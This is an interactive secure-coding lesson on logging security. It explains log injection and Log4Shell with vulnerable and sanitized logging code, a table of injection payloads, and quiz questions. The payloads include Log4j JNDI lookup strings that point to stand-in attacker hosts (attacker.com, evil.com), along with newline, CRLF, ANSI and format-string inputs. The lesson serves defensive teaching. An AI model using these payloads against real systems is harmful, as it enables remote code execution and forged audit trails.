01 //Why Logging Security Matters
Logs are the backbone of observability, debugging, and incident response. But poorly implemented logging is itself a security vulnerability. Logs can leak credentials, expose PII, enable injection attacks, and violate compliance regulations. In code review, logging code is frequently overlooked—yet it touches nearly every part of an application.
In 2021, the Log4Shell vulnerability (CVE-2021-44228) demonstrated how logging can become a direct attack vector. Attackers exploited Log4j's message lookup feature to achieve remote code execution by simply injecting a JNDI lookup string into logged data. The incident affected hundreds of thousands of systems worldwide and remains one of the most severe vulnerabilities ever discovered.
- Prevent injection: Never let attacker-controlled input manipulate log structure or trigger unintended behavior.
- Protect sensitive data: Never log credentials, tokens, PII, or payment data in plaintext.
- Ensure integrity: Logs must be tamper-evident and stored securely for forensic and compliance purposes.
1// Looks harmless, but what if username contains newlines or JNDI lookups?
2app.post('/login', (req, res) => {
3 const { username, password } = req.body;
4 logger.info(`Login attempt for user: ${username}`);
5 // ... authentication logic
6});Which of the following is NOT a logging security risk?
02 //Log Injection Attacks
Log injection occurs when an attacker can insert or manipulate log entries by embedding special characters—most commonly newline characters (\n, \r\n)—in user input that gets logged. This can forge log entries, corrupt log analysis, hide attack traces, or even trigger vulnerabilities in log processing systems.
1# Vulnerable: user input directly interpolated into log message
2import logging
3
4logger = logging.getLogger(__name__)
5
6def login(request):
7 username = request.POST.get('username')
8 logger.info(f"Login attempt for user: {username}")
9 # If username = "admin\n[INFO] Login successful for admin"
10 # The log file now contains a forged "successful login" entry1import logging
2import re
3
4logger = logging.getLogger(__name__)
5
6def sanitize_log_input(value: str) -> str:
7 """Strip control characters and limit length for log safety."""
8 sanitized = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', str(value))
9 return sanitized[:256]
10
11def login(request):
12 username = sanitize_log_input(request.POST.get('username', ''))
13 logger.info("Login attempt for user: %s", username)The Log4j library evaluated JNDI lookups embedded in logged strings, meaning an attacker could trigger remote code execution by sending ${jndi:ldap://attacker.com/exploit} as a username, User-Agent header, or any value that got logged. Always treat logged data as untrusted and never interpret or evaluate it.
Log Injection Attack Vectors
| Technique | Payload Example | Impact |
|---|---|---|
| Newline Injection | admin\n[INFO] Admin access granted | Forges legitimate-looking log entries |
| CRLF Injection | user\r\n\r\nHTTP/1.1 200 OK | Can split HTTP responses when logs feed into web interfaces |
| ANSI Escape Codes | \x1b[31mFAKE ALERT\x1b[0m | Can manipulate terminal-based log viewers |
| Format String | %s%s%s%s%n | Can cause crashes or memory corruption in C/C++ loggers |
| JNDI Lookup (Log4j) | ${jndi:ldap://evil.com/a} | Remote code execution via deserialization |
Pick a payload to see how unsanitized input rewrites your log file.
[2026-04-08 14:23:01] INFO Login attempt for user: admin
[2026-04-08 14:23:01] INFO Login attempt for user: admin
What is the primary defense against log injection attacks?